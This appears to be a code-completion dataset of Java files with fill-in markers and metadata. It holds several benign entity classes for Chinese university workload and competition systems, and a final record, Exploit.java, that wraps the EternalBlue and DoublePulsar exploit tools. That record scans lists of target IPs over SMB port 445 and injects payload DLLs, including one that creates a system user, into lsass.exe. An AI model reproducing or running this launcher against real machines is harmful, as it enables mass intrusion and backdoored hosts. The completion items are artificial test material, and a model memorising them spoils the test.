*/ public String getYuanxi() { return yuanxi; } /** * 设置:班级 */ public void setBanji(String banji) { this.banji = banji; } /** * 获取: <SUF>*/ public String getBanji() { return banji; } /** * 设置:职称 */ public void setZhicheng(String zhicheng) { this.zhicheng = zhicheng; } /** * 获取:职称 */ public String getZhicheng() { return zhicheng; } /** * 设置:联系电话 */ public void setLianxidianhua(String lianxidianhua) { this.lianxidianhua = lianxidianhua; } /** * 获取:联系电话 */ public String getLianxidianhua() { return lianxidianhua; } /** * 设置:教师邮箱 */ public void setJiaoshiyouxiang(String jiaoshiyouxiang) { this.jiaoshiyouxiang = jiaoshiyouxiang; } /** * 获取:教师邮箱 */ public String getJiaoshiyouxiang() { return jiaoshiyouxiang; } }
0
916
9
1,070
9
1,142
10
1,070
9
1,431
17
false
false
false
false
false
true
59022_12
package com.entity; import com.baomidou.mybatisplus.annotations.TableId; import com.baomidou.mybatisplus.annotations.TableName; import javax.validation.constraints.NotBlank; import javax.validation.constraints.NotEmpty; import javax.validation.constraints.NotNull; import com.fasterxml.jackson.annotation.JsonIgnoreProperties; import java.lang.reflect.InvocationTargetException; import java.io.Serializable; import java.util.Date; import java.util.List; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import org.apache.commons.beanutils.BeanUtils; import com.baomidou.mybatisplus.annotations.TableField; import com.baomidou.mybatisplus.enums.FieldFill; import com.baomidou.mybatisplus.enums.IdType; /** * 工作量 * 数据库通用操作实体类(普通增删改查) * @author * @email * @date 2021-03-28 11:09:47 */ @TableName("gongzuoliang") public class GongzuoliangEntity<T> implements Serializable { private static final long serialVersionUID = 1L; public GongzuoliangEntity() { } public GongzuoliangEntity(T t) { try { BeanUtils.copyProperties(this, t); } catch (IllegalAccessException | InvocationTargetException e) { // TODO Auto-generated catch block e.printStackTrace(); } } /** * 主键id */ @TableId private Long id; /** * 理论 */ private String lilun; /** * 实验 */ private String shiyan; /** * 实习 */ private String shixi; /** * 课程系数 */ private String kechengxishu; /** * 合班数量 */ private String hebanshuliang; /** * 合班系数 */ private String hebanxishu; /** * 作业增量系数 */ private String zuoyezengliangxishu; /** * 作业增量 */ private String zuoyezengliang; /** * 实验类型系数 */ private String shiyanleixingxishu; /** * 实习调整系数 */ private String shixidiaozhengxishu; /** * 当量学时 */ private String dangliangxueshi; /** * 备注 */ private String beizhu; /** * 教师工号 */ private String jiaoshigonghao; /** * 教师姓名 */ private String jiaoshixingming; /** * 提交时间 */ @JsonFormat(locale="zh", timezone="GMT+8", pattern="yyyy-MM-dd") @DateTimeFormat private Date tijiaoshijian; @JsonFormat(locale="zh", timezone="GMT+8", pattern="yyyy-MM-dd HH:mm:ss") @DateTimeFormat private Date addtime; public Date getAddtime() { return addtime; } public void setAddtime(Date addtime) { this.addtime = addtime; } public Long getId() { return id; } public void setId(Long id) { this.id = id; } /** * 设置:理论 */ public void setLilun(String lilun) { this.lilun = lilun; } /** * 获取:理论 */ public String getLilun() { return lilun; } /** * 设置:实验 */ public void setShiyan(String shiyan) { this.shiyan = shiyan; } /** * 获取:实验 */ public String getShiyan() { return shiyan; } /** * 设置:实习 */ public void setShixi(String shixi) { this.shixi = shixi; } /** * 获取:实习 */ public String getShixi() { return shixi; } /** * 设置:课程系数 */ public void setKechengxishu(String kechengxishu) { this.kechengxishu = kechengxishu; } /** * 获取:课程系数 */ public String getKechengxishu() { return kechengxishu; } /** * 设置:合班数量 */ public void setHebanshuliang(String hebanshuliang) { this.hebanshuliang = hebanshuliang; } /** * 获取:合班数量 */ public String getHebanshuliang() { return hebanshuliang; } /** * 设置:合班系数 */ public void setHebanxishu(String hebanxishu) { this.hebanxishu = hebanxishu; } /** * 获取:合班系数 */ public String getHebanxishu() { return hebanxishu; } /** * 设置:作业增量系数 */ public void setZuoyezengliangxishu(String zuoyezengliangxishu) { this.zuoyezengliangxishu = zuoyezengliangxishu; } /** * 获取:作业增量系数 */ public String getZuoyezengliangxishu() { return zuoyezengliangxishu; } /** * 设置:作业增量 */ public void setZuoyezengliang(String zuoyezengliang) { this.zuoyezengliang = zuoyezengliang; } /** * 获取:作业增量 */ public String getZuoyezengliang() { return zuoyezengliang; } /** * 设置:实验类型系数 */ public void setShiyanleixingxishu(String shiyanleixingxishu) { this.shiyanleixingxishu = shiyanleixingxishu; } /** * 获取:实验类型系数 */ public String getShiyanleixingxishu() { return shiyanleixingxishu; } /** * 设置:实习调整系数 */ public void setShixidiaozhengxishu(String shixidiaozhengxishu) { this.shixidiaozhengxishu = shixidiaozhengxishu; } /** * 获取:实习调整系数 */ public String getShixidiaozhengxishu() { return shixidiaozhengxishu; } /** * 设置:当量学时 */ public void setDangliangxueshi(String dangliangxueshi) { this.dangliangxueshi = dangliangxueshi; } /** * 获取:当量学时 */ public String getDangliangxueshi() { return dangliangxueshi; } /** * 设置:备注 */ public void setBeizhu(String beizhu) { this.beizhu = beizhu; } /** * 获取:备注 */ public String getBeizhu() { return beizhu; } /** * 设置:教师工号 */ public void setJiaoshigonghao(String jiaoshigonghao) { this.jiaoshigonghao = jiaoshigonghao; } /** * 获取:教师工号 */ public String getJiaoshigonghao() { return jiaoshigonghao; } /** * 设置:教师姓名 */ public void setJiaoshixingming(String jiaoshixingming) { this.jiaoshixingming = jiaoshixingming; } /** * 获取:教师姓名 */ public String getJiaoshixingming() { return jiaoshixingming; } /** * 设置:提交时间 */ public void setTijiaoshijian(Date tijiaoshijian) { this.tijiaoshijian = tijiaoshijian; } /** * 获取:提交时间 */ public Date getTijiaoshijian() { return tijiaoshijian; } }
1120041844/TeacherWorkloadSystem
src/main/java/com/entity/GongzuoliangEntity.java
2,264
/** * 实习调整系数 */
block_comment
zh-cn
package com.entity; import com.baomidou.mybatisplus.annotations.TableId; import com.baomidou.mybatisplus.annotations.TableName; import javax.validation.constraints.NotBlank; import javax.validation.constraints.NotEmpty; import javax.validation.constraints.NotNull; import com.fasterxml.jackson.annotation.JsonIgnoreProperties; import java.lang.reflect.InvocationTargetException; import java.io.Serializable; import java.util.Date; import java.util.List; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import org.apache.commons.beanutils.BeanUtils; import com.baomidou.mybatisplus.annotations.TableField; import com.baomidou.mybatisplus.enums.FieldFill; import com.baomidou.mybatisplus.enums.IdType; /** * 工作量 * 数据库通用操作实体类(普通增删改查) * @author * @email * @date 2021-03-28 11:09:47 */ @TableName("gongzuoliang") public class GongzuoliangEntity<T> implements Serializable { private static final long serialVersionUID = 1L; public GongzuoliangEntity() { } public GongzuoliangEntity(T t) { try { BeanUtils.copyProperties(this, t); } catch (IllegalAccessException | InvocationTargetException e) { // TODO Auto-generated catch block e.printStackTrace(); } } /** * 主键id */ @TableId private Long id; /** * 理论 */ private String lilun; /** * 实验 */ private String shiyan; /** * 实习 */ private String shixi; /** * 课程系数 */ private String kechengxishu; /** * 合班数量 */ private String hebanshuliang; /** * 合班系数 */ private String hebanxishu; /** * 作业增量系数 */ private String zuoyezengliangxishu; /** * 作业增量 */ private String zuoyezengliang; /** * 实验类型系数 */ private String shiyanleixingxishu; /** * 实习调 <SUF>*/ private String shixidiaozhengxishu; /** * 当量学时 */ private String dangliangxueshi; /** * 备注 */ private String beizhu; /** * 教师工号 */ private String jiaoshigonghao; /** * 教师姓名 */ private String jiaoshixingming; /** * 提交时间 */ @JsonFormat(locale="zh", timezone="GMT+8", pattern="yyyy-MM-dd") @DateTimeFormat private Date tijiaoshijian; @JsonFormat(locale="zh", timezone="GMT+8", pattern="yyyy-MM-dd HH:mm:ss") @DateTimeFormat private Date addtime; public Date getAddtime() { return addtime; } public void setAddtime(Date addtime) { this.addtime = addtime; } public Long getId() { return id; } public void setId(Long id) { this.id = id; } /** * 设置:理论 */ public void setLilun(String lilun) { this.lilun = lilun; } /** * 获取:理论 */ public String getLilun() { return lilun; } /** * 设置:实验 */ public void setShiyan(String shiyan) { this.shiyan = shiyan; } /** * 获取:实验 */ public String getShiyan() { return shiyan; } /** * 设置:实习 */ public void setShixi(String shixi) { this.shixi = shixi; } /** * 获取:实习 */ public String getShixi() { return shixi; } /** * 设置:课程系数 */ public void setKechengxishu(String kechengxishu) { this.kechengxishu = kechengxishu; } /** * 获取:课程系数 */ public String getKechengxishu() { return kechengxishu; } /** * 设置:合班数量 */ public void setHebanshuliang(String hebanshuliang) { this.hebanshuliang = hebanshuliang; } /** * 获取:合班数量 */ public String getHebanshuliang() { return hebanshuliang; } /** * 设置:合班系数 */ public void setHebanxishu(String hebanxishu) { this.hebanxishu = hebanxishu; } /** * 获取:合班系数 */ public String getHebanxishu() { return hebanxishu; } /** * 设置:作业增量系数 */ public void setZuoyezengliangxishu(String zuoyezengliangxishu) { this.zuoyezengliangxishu = zuoyezengliangxishu; } /** * 获取:作业增量系数 */ public String getZuoyezengliangxishu() { return zuoyezengliangxishu; } /** * 设置:作业增量 */ public void setZuoyezengliang(String zuoyezengliang) { this.zuoyezengliang = zuoyezengliang; } /** * 获取:作业增量 */ public String getZuoyezengliang() { return zuoyezengliang; } /** * 设置:实验类型系数 */ public void setShiyanleixingxishu(String shiyanleixingxishu) { this.shiyanleixingxishu = shiyanleixingxishu; } /** * 获取:实验类型系数 */ public String getShiyanleixingxishu() { return shiyanleixingxishu; } /** * 设置:实习调整系数 */ public void setShixidiaozhengxishu(String shixidiaozhengxishu) { this.shixidiaozhengxishu = shixidiaozhengxishu; } /** * 获取:实习调整系数 */ public String getShixidiaozhengxishu() { return shixidiaozhengxishu; } /** * 设置:当量学时 */ public void setDangliangxueshi(String dangliangxueshi) { this.dangliangxueshi = dangliangxueshi; } /** * 获取:当量学时 */ public String getDangliangxueshi() { return dangliangxueshi; } /** * 设置:备注 */ public void setBeizhu(String beizhu) { this.beizhu = beizhu; } /** * 获取:备注 */ public String getBeizhu() { return beizhu; } /** * 设置:教师工号 */ public void setJiaoshigonghao(String jiaoshigonghao) { this.jiaoshigonghao = jiaoshigonghao; } /** * 获取:教师工号 */ public String getJiaoshigonghao() { return jiaoshigonghao; } /** * 设置:教师姓名 */ public void setJiaoshixingming(String jiaoshixingming) { this.jiaoshixingming = jiaoshixingming; } /** * 获取:教师姓名 */ public String getJiaoshixingming() { return jiaoshixingming; } /** * 设置:提交时间 */ public void setTijiaoshijian(Date tijiaoshijian) { this.tijiaoshijian = tijiaoshijian; } /** * 获取:提交时间 */ public Date getTijiaoshijian() { return tijiaoshijian; } }
0
1,911
10
2,264
11
2,174
11
2,264
11
2,791
18
false
false
false
false
false
true
43778_3
package com.entity.vo; import com.entity.CansaixinxiEntity; import com.baomidou.mybatisplus.annotations.TableName; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import java.io.Serializable; /** * 参赛信息 * 手机端接口返回实体辅助类 * (主要作用去除一些不必要的字段) * @author * @email * @date 2021-04-30 16:23:55 */ public class CansaixinxiVO implements Serializable { private static final long serialVersionUID = 1L; /** * 学生姓名 */ private String xueshengxingming; /** * 竞赛名称 */ private String jingsaimingcheng; /** * 竞赛类型 */ private String jingsaileixing; /** * 学校 */ private String xuexiao; /** * 作品 */ private String zuopin; /** * 作品特色 */ private String zuopintese; /** * 设置:学生姓名 */ public void setXueshengxingming(String xueshengxingming) { this.xueshengxingming = xueshengxingming; } /** * 获取:学生姓名 */ public String getXueshengxingming() { return xueshengxingming; } /** * 设置:竞赛名称 */ public void setJingsaimingcheng(String jingsaimingcheng) { this.jingsaimingcheng = jingsaimingcheng; } /** * 获取:竞赛名称 */ public String getJingsaimingcheng() { return jingsaimingcheng; } /** * 设置:竞赛类型 */ public void setJingsaileixing(String jingsaileixing) { this.jingsaileixing = jingsaileixing; } /** * 获取:竞赛类型 */ public String getJingsaileixing() { return jingsaileixing; } /** * 设置:学校 */ public void setXuexiao(String xuexiao) { this.xuexiao = xuexiao; } /** * 获取:学校 */ public String getXuexiao() { return xuexiao; } /** * 设置:作品 */ public void setZuopin(String zuopin) { this.zuopin = zuopin; } /** * 获取:作品 */ public String getZuopin() { return zuopin; } /** * 设置:作品特色 */ public void setZuopintese(String zuopintese) { this.zuopintese = zuopintese; } /** * 获取:作品特色 */ public String getZuopintese() { return zuopintese; } }
1120041844/UniversitySubjectCompetitionSystem
src/main/java/com/entity/vo/CansaixinxiVO.java
819
/** * 竞赛类型 */
block_comment
zh-cn
package com.entity.vo; import com.entity.CansaixinxiEntity; import com.baomidou.mybatisplus.annotations.TableName; import java.util.Date; import org.springframework.format.annotation.DateTimeFormat; import com.fasterxml.jackson.annotation.JsonFormat; import java.io.Serializable; /** * 参赛信息 * 手机端接口返回实体辅助类 * (主要作用去除一些不必要的字段) * @author * @email * @date 2021-04-30 16:23:55 */ public class CansaixinxiVO implements Serializable { private static final long serialVersionUID = 1L; /** * 学生姓名 */ private String xueshengxingming; /** * 竞赛名称 */ private String jingsaimingcheng; /** * 竞赛类 <SUF>*/ private String jingsaileixing; /** * 学校 */ private String xuexiao; /** * 作品 */ private String zuopin; /** * 作品特色 */ private String zuopintese; /** * 设置:学生姓名 */ public void setXueshengxingming(String xueshengxingming) { this.xueshengxingming = xueshengxingming; } /** * 获取:学生姓名 */ public String getXueshengxingming() { return xueshengxingming; } /** * 设置:竞赛名称 */ public void setJingsaimingcheng(String jingsaimingcheng) { this.jingsaimingcheng = jingsaimingcheng; } /** * 获取:竞赛名称 */ public String getJingsaimingcheng() { return jingsaimingcheng; } /** * 设置:竞赛类型 */ public void setJingsaileixing(String jingsaileixing) { this.jingsaileixing = jingsaileixing; } /** * 获取:竞赛类型 */ public String getJingsaileixing() { return jingsaileixing; } /** * 设置:学校 */ public void setXuexiao(String xuexiao) { this.xuexiao = xuexiao; } /** * 获取:学校 */ public String getXuexiao() { return xuexiao; } /** * 设置:作品 */ public void setZuopin(String zuopin) { this.zuopin = zuopin; } /** * 获取:作品 */ public String getZuopin() { return zuopin; } /** * 设置:作品特色 */ public void setZuopintese(String zuopintese) { this.zuopintese = zuopintese; } /** * 获取:作品特色 */ public String getZuopintese() { return zuopintese; } }
0
706
11
819
10
858
11
819
10
1,082
16
false
false
false
false
false
true
33353_4
import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.io.InputStreamReader; import java.net.URISyntaxException; import java.net.URL; /** * Created by 1135 on 2017/5/3. */ public class Exploit { public void runCMD(String command) throws Exception { Process p = Runtime.getRuntime().exec("cmd /c cmd.exe /c " + command + " exit");//cmd /c dir 执行完dir命令后关闭窗口。 //runCMD_bat("C:\\1.bat");/调用 //Process p = Runtime.getRuntime().exec("cmd /c start cmd.exe /c " + path + " exit");//显示窗口 打开一个新窗口后执行dir指令(原窗口会关闭) BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String readLine = br.readLine(); while (readLine != null) { readLine = br.readLine(); System.out.println(readLine); } if (br != null) { br.close(); } p.destroy(); p = null; } public void EBexp_function() { URL url = getClass().getProtectionDomain().getCodeSource().getLocation(); File myfile = null; try { myfile = new File(url.toURI()); } catch (URISyntaxException e) { e.printStackTrace(); } File dir = myfile.getParentFile(); //jar文件所在的绝对目录 String ip = null; String port = null; String TargetOS = null; BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); try { //ip System.out.println("input TargetIpAddress or list (Default. The 'list' will use ip.txt):"); ip = br.readLine(); //在命令执行前判断 //port System.out.println("input TargetPort(Default:445):"); port = br.readLine(); if (port.equals("")) port = "445"; //port为空,则设置为445 否则则为用户输入的值 //TargetOS System.out.println("input TargetOS(Default:WIN72K8R2 other:XP):"); TargetOS = br.readLine(); if (TargetOS.equals("")) TargetOS = "WIN72K8R2"; //files文件夹内放着nsa工具 //dlls文件夹里放着攻击载荷 x86/x64 dll文件 //logs文件夹里放着命令执行结果 格式为EB/DP_ip_port.txt 如EB_192.168.0.1_445.txt if (ip.equals("list")||ip.equals("")) { /** * 一行一行读取文件,适合字符读取,若读取中文字符时会出现乱码 *流的关闭顺序:先打开的后关,后打开的先关, 否则有可能出现java.io.IOException: Stream closed异常 */ try { //System.out.println(dir); File file = new File(dir+File.separator+"ip.txt"); String tempString = null; BufferedReader reader = null; try {//以行为单位读取文件内容,一次读一整行 reader = new BufferedReader(new FileReader(file)); int line = 1; // 一次读入一行,直到读入null为文件结束 while ((tempString = reader.readLine()) != null) { // 显示行号 tempString = tempString.trim(); System.out.println(line + " CurrentIP " + tempString); System.out.println(tempString); String EBexpCommand = "C:\\Windows\\System32\\cmd.exe /c files\\Eternalblue-2.2.0.exe --InConfig " + dir+File.separator+"files"+File.separator +"Eternalblue-2.2.0.xml"+ " --TargetIp " + tempString + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+"EB_" + tempString + "_" + port + ".txt" + " --Target " + TargetOS; System.out.println(EBexpCommand); runCMD(EBexpCommand); line++; } reader.close(); } catch (Exception e) { } finally { if (reader != null) { try { reader.close(); } catch (Exception e) { } } } } catch(Exception e) { e.printStackTrace(); } } else { String EBexpCommand = "C:\\Windows\\System32\\cmd.exe /c files\\Eternalblue-2.2.0.exe --InConfig files\\Eternalblue-2.2.0.xml --TargetIp " + ip + " --TargetPort " + port + " --OutConfig " +dir+File.separator+"logs" +File.separator+"EB_" + ip + "_" + port + ".txt" + " --Target " + TargetOS; System.out.println(EBexpCommand); runCMD(EBexpCommand); } } catch (Exception e) { } } public void DPexp_function() { URL url = getClass().getProtectionDomain().getCodeSource().getLocation(); File myfile = null; try { myfile = new File(url.toURI()); } catch (URISyntaxException e) { e.printStackTrace(); } File dir = myfile.getParentFile(); //jar文件所在的绝对目录 String networkTimeout = null; String ip = null; String port = null; String protocol = null; String architecture = null; String function = null; String payload = null; String dllordinal = null; String processName = null; String processCommandLine =null; BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); try { //ip System.out.println("input TargetIpAddress or list (Default. The 'list' will use ip.txt):"); ip = br.readLine(); //在命令执行前判断 //port System.out.println("input TargetPort(Default:445):"); port = br.readLine(); if (port.equals("")) port = "445"; //port为空,则设置为445 否则则为用户输入的值 //protocol System.out.println("input protocol(Default:SMB other:RDP):"); protocol = br.readLine(); if (protocol.equals("")) protocol = "SMB"; //architecture System.out.println("input architecture(Default:x64 other:x86):"); architecture = br.readLine(); if (architecture.equals("")) architecture = "x64"; //Function System.out.println("input Function(Default:RunDll): \n other:\nPing(Check whether the backdoor is installed)" + "\nOutPutInstall(Generate a shellcode)" + "\nRunShellcode" + "Uninstall"); function = br.readLine(); if (function.equals("")) function = "RunDLL"; //payload System.out.println("input payloadDllname(Default:x64createSysUser.dll other: X64reboot.dll X86reboot.dll x64createSysUser.dll x86createSysUser.dll your.dll):"); payload = br.readLine(); if (payload.equals("")) payload = "x64createSysUser.dll"; //payloadDllOrdinal 默认1 : The exported ordinal number of the DLL being injected to call System.out.println("input payloadDllOrdinal(Default:1):"); dllordinal = br.readLine(); if (dllordinal.equals("")) dllordinal = "1"; //ProcessName :: Name of process to inject into System.out.println("input ProcessName to inject into (Default:lsass.exe other:explorer.exe svchost.exe ):"); processName = br.readLine(); if (processName.equals("")) processName = "lsass.exe"; //ProcessCommandLine :: Command line of process to inject into System.out.println("input ProcessCommandLine :: Command line of process to inject into (Default:\"\"):"); processCommandLine = br.readLine(); if (processCommandLine.equals("")) processCommandLine = "\"\""; //NetworkTimeout System.out.println("input NetworkTimeout(Default 60):"); networkTimeout = br.readLine(); if (networkTimeout.equals("")) networkTimeout = "60"; if (ip.equals("list")||ip.equals("")) { /** * 一行一行读取文件,适合字符读取,若读取中文字符时会出现乱码 *流的关闭顺序:先打开的后关,后打开的先关, 否则有可能出现java.io.IOException: Stream closed异常 */ try { //System.out.println(dir); File file = new File(dir+File.separator+"ip.txt"); BufferedReader reader = null; try {//以行为单位读取文件内容,一次读一整行 reader = new BufferedReader(new FileReader(file)); String tempString = null; int line = 1; // 一次读入一行,直到读入null为文件结束 while ((tempString = reader.readLine()) != null) { // 显示行号 System.out.println(line + " CurrentIP " + tempString); String DPexpCommand = "C:\\Windows\\System32\\cmd.exe /c "+ dir +File.separator+"files"+File.separator+"Doublepulsar-1.3.1.exe --InConfig " + dir+File.separator+"files"+File.separator +"Doublepulsar-1.3.1.xml --TargetIp " + tempString + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+ "DP_" + tempString + "_" + port + ".txt" + " --Protocol " + protocol + " --Architecture " + architecture + " --Function " + function + " --DllPayload " +dir +File.separator+"dlls"+File.separator+payload +" --payloadDllOrdinal "+dllordinal+" --ProcessName "+processName+" --ProcessCommandLine "+processCommandLine+" --NetworkTimeout "+networkTimeout; System.out.println(DPexpCommand); runCMD(DPexpCommand); line++; } reader.close(); } catch (java.io.FileNotFoundException e) { System.err.println("Can't find file ip.txt in jar file directory."); } catch (Exception e) { e.printStackTrace(); } finally { if (reader != null) { try { reader.close(); } catch (Exception e) { } } } } catch(Exception e) { e.printStackTrace(); } } else { //System.out.println(networkTimeout+ip+port+processCommandLine+protocol); /* String networkTimeout = null; String ip = null; String port = null; String protocol = null; String architecture = null; String function = null; String payload = null; String dllordinal = null; String processName = null; String processCommandLine =null; */ String DPexpCommand = "C:\\Windows\\System32\\cmd.exe /c "+ dir +File.separator+"files"+File.separator+"Doublepulsar-1.3.1.exe --InConfig " + dir+File.separator+"files"+File.separator +"Doublepulsar-1.3.1.xml --TargetIp " + ip + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+ "DP_" + ip + "_" + port + ".txt" + " --Protocol " + protocol + " --Architecture " + architecture + " --Function " + function + " --DllPayload " +dir +File.separator+"dlls"+File.separator+payload +" --payloadDllOrdinal "+dllordinal+" --ProcessName "+processName+" --ProcessCommandLine "+processCommandLine+" --NetworkTimeout "+networkTimeout; System.out.println(DPexpCommand); runCMD(DPexpCommand); } } catch (Exception e) { } //System.out.println(new Date()); //runCMD_bat(DPexpCommand); //System.out.println(new Date()); } }
1135/EquationExploit
src/main/java/Exploit.java
2,826
//jar文件所在的绝对目录
line_comment
zh-cn
import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.io.InputStreamReader; import java.net.URISyntaxException; import java.net.URL; /** * Created by 1135 on 2017/5/3. */ public class Exploit { public void runCMD(String command) throws Exception { Process p = Runtime.getRuntime().exec("cmd /c cmd.exe /c " + command + " exit");//cmd /c dir 执行完dir命令后关闭窗口。 //runCMD_bat("C:\\1.bat");/调用 //Process p = Runtime.getRuntime().exec("cmd /c start cmd.exe /c " + path + " exit");//显示窗口 打开一个新窗口后执行dir指令(原窗口会关闭) BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String readLine = br.readLine(); while (readLine != null) { readLine = br.readLine(); System.out.println(readLine); } if (br != null) { br.close(); } p.destroy(); p = null; } public void EBexp_function() { URL url = getClass().getProtectionDomain().getCodeSource().getLocation(); File myfile = null; try { myfile = new File(url.toURI()); } catch (URISyntaxException e) { e.printStackTrace(); } File dir = myfile.getParentFile(); //ja <SUF> String ip = null; String port = null; String TargetOS = null; BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); try { //ip System.out.println("input TargetIpAddress or list (Default. The 'list' will use ip.txt):"); ip = br.readLine(); //在命令执行前判断 //port System.out.println("input TargetPort(Default:445):"); port = br.readLine(); if (port.equals("")) port = "445"; //port为空,则设置为445 否则则为用户输入的值 //TargetOS System.out.println("input TargetOS(Default:WIN72K8R2 other:XP):"); TargetOS = br.readLine(); if (TargetOS.equals("")) TargetOS = "WIN72K8R2"; //files文件夹内放着nsa工具 //dlls文件夹里放着攻击载荷 x86/x64 dll文件 //logs文件夹里放着命令执行结果 格式为EB/DP_ip_port.txt 如EB_192.168.0.1_445.txt if (ip.equals("list")||ip.equals("")) { /** * 一行一行读取文件,适合字符读取,若读取中文字符时会出现乱码 *流的关闭顺序:先打开的后关,后打开的先关, 否则有可能出现java.io.IOException: Stream closed异常 */ try { //System.out.println(dir); File file = new File(dir+File.separator+"ip.txt"); String tempString = null; BufferedReader reader = null; try {//以行为单位读取文件内容,一次读一整行 reader = new BufferedReader(new FileReader(file)); int line = 1; // 一次读入一行,直到读入null为文件结束 while ((tempString = reader.readLine()) != null) { // 显示行号 tempString = tempString.trim(); System.out.println(line + " CurrentIP " + tempString); System.out.println(tempString); String EBexpCommand = "C:\\Windows\\System32\\cmd.exe /c files\\Eternalblue-2.2.0.exe --InConfig " + dir+File.separator+"files"+File.separator +"Eternalblue-2.2.0.xml"+ " --TargetIp " + tempString + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+"EB_" + tempString + "_" + port + ".txt" + " --Target " + TargetOS; System.out.println(EBexpCommand); runCMD(EBexpCommand); line++; } reader.close(); } catch (Exception e) { } finally { if (reader != null) { try { reader.close(); } catch (Exception e) { } } } } catch(Exception e) { e.printStackTrace(); } } else { String EBexpCommand = "C:\\Windows\\System32\\cmd.exe /c files\\Eternalblue-2.2.0.exe --InConfig files\\Eternalblue-2.2.0.xml --TargetIp " + ip + " --TargetPort " + port + " --OutConfig " +dir+File.separator+"logs" +File.separator+"EB_" + ip + "_" + port + ".txt" + " --Target " + TargetOS; System.out.println(EBexpCommand); runCMD(EBexpCommand); } } catch (Exception e) { } } public void DPexp_function() { URL url = getClass().getProtectionDomain().getCodeSource().getLocation(); File myfile = null; try { myfile = new File(url.toURI()); } catch (URISyntaxException e) { e.printStackTrace(); } File dir = myfile.getParentFile(); //jar文件所在的绝对目录 String networkTimeout = null; String ip = null; String port = null; String protocol = null; String architecture = null; String function = null; String payload = null; String dllordinal = null; String processName = null; String processCommandLine =null; BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); try { //ip System.out.println("input TargetIpAddress or list (Default. The 'list' will use ip.txt):"); ip = br.readLine(); //在命令执行前判断 //port System.out.println("input TargetPort(Default:445):"); port = br.readLine(); if (port.equals("")) port = "445"; //port为空,则设置为445 否则则为用户输入的值 //protocol System.out.println("input protocol(Default:SMB other:RDP):"); protocol = br.readLine(); if (protocol.equals("")) protocol = "SMB"; //architecture System.out.println("input architecture(Default:x64 other:x86):"); architecture = br.readLine(); if (architecture.equals("")) architecture = "x64"; //Function System.out.println("input Function(Default:RunDll): \n other:\nPing(Check whether the backdoor is installed)" + "\nOutPutInstall(Generate a shellcode)" + "\nRunShellcode" + "Uninstall"); function = br.readLine(); if (function.equals("")) function = "RunDLL"; //payload System.out.println("input payloadDllname(Default:x64createSysUser.dll other: X64reboot.dll X86reboot.dll x64createSysUser.dll x86createSysUser.dll your.dll):"); payload = br.readLine(); if (payload.equals("")) payload = "x64createSysUser.dll"; //payloadDllOrdinal 默认1 : The exported ordinal number of the DLL being injected to call System.out.println("input payloadDllOrdinal(Default:1):"); dllordinal = br.readLine(); if (dllordinal.equals("")) dllordinal = "1"; //ProcessName :: Name of process to inject into System.out.println("input ProcessName to inject into (Default:lsass.exe other:explorer.exe svchost.exe ):"); processName = br.readLine(); if (processName.equals("")) processName = "lsass.exe"; //ProcessCommandLine :: Command line of process to inject into System.out.println("input ProcessCommandLine :: Command line of process to inject into (Default:\"\"):"); processCommandLine = br.readLine(); if (processCommandLine.equals("")) processCommandLine = "\"\""; //NetworkTimeout System.out.println("input NetworkTimeout(Default 60):"); networkTimeout = br.readLine(); if (networkTimeout.equals("")) networkTimeout = "60"; if (ip.equals("list")||ip.equals("")) { /** * 一行一行读取文件,适合字符读取,若读取中文字符时会出现乱码 *流的关闭顺序:先打开的后关,后打开的先关, 否则有可能出现java.io.IOException: Stream closed异常 */ try { //System.out.println(dir); File file = new File(dir+File.separator+"ip.txt"); BufferedReader reader = null; try {//以行为单位读取文件内容,一次读一整行 reader = new BufferedReader(new FileReader(file)); String tempString = null; int line = 1; // 一次读入一行,直到读入null为文件结束 while ((tempString = reader.readLine()) != null) { // 显示行号 System.out.println(line + " CurrentIP " + tempString); String DPexpCommand = "C:\\Windows\\System32\\cmd.exe /c "+ dir +File.separator+"files"+File.separator+"Doublepulsar-1.3.1.exe --InConfig " + dir+File.separator+"files"+File.separator +"Doublepulsar-1.3.1.xml --TargetIp " + tempString + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+ "DP_" + tempString + "_" + port + ".txt" + " --Protocol " + protocol + " --Architecture " + architecture + " --Function " + function + " --DllPayload " +dir +File.separator+"dlls"+File.separator+payload +" --payloadDllOrdinal "+dllordinal+" --ProcessName "+processName+" --ProcessCommandLine "+processCommandLine+" --NetworkTimeout "+networkTimeout; System.out.println(DPexpCommand); runCMD(DPexpCommand); line++; } reader.close(); } catch (java.io.FileNotFoundException e) { System.err.println("Can't find file ip.txt in jar file directory."); } catch (Exception e) { e.printStackTrace(); } finally { if (reader != null) { try { reader.close(); } catch (Exception e) { } } } } catch(Exception e) { e.printStackTrace(); } } else { //System.out.println(networkTimeout+ip+port+processCommandLine+protocol); /* String networkTimeout = null; String ip = null; String port = null; String protocol = null; String architecture = null; String function = null; String payload = null; String dllordinal = null; String processName = null; String processCommandLine =null; */ String DPexpCommand = "C:\\Windows\\System32\\cmd.exe /c "+ dir +File.separator+"files"+File.separator+"Doublepulsar-1.3.1.exe --InConfig " + dir+File.separator+"files"+File.separator +"Doublepulsar-1.3.1.xml --TargetIp " + ip + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+ "DP_" + ip + "_" + port + ".txt" + " --Protocol " + protocol + " --Architecture " + architecture + " --Function " + function + " --DllPayload " +dir +File.separator+"dlls"+File.separator+payload +" --payloadDllOrdinal "+dllordinal+" --ProcessName "+processName+" --ProcessCommandLine "+processCommandLine+" --NetworkTimeout "+networkTimeout; System.out.println(DPexpCommand); runCMD(DPexpCommand); } } catch (Exception e) { } //System.out.println(new Date()); //runCMD_bat(DPexpCommand); //System.out.println(new Date()); } }
0
2,625
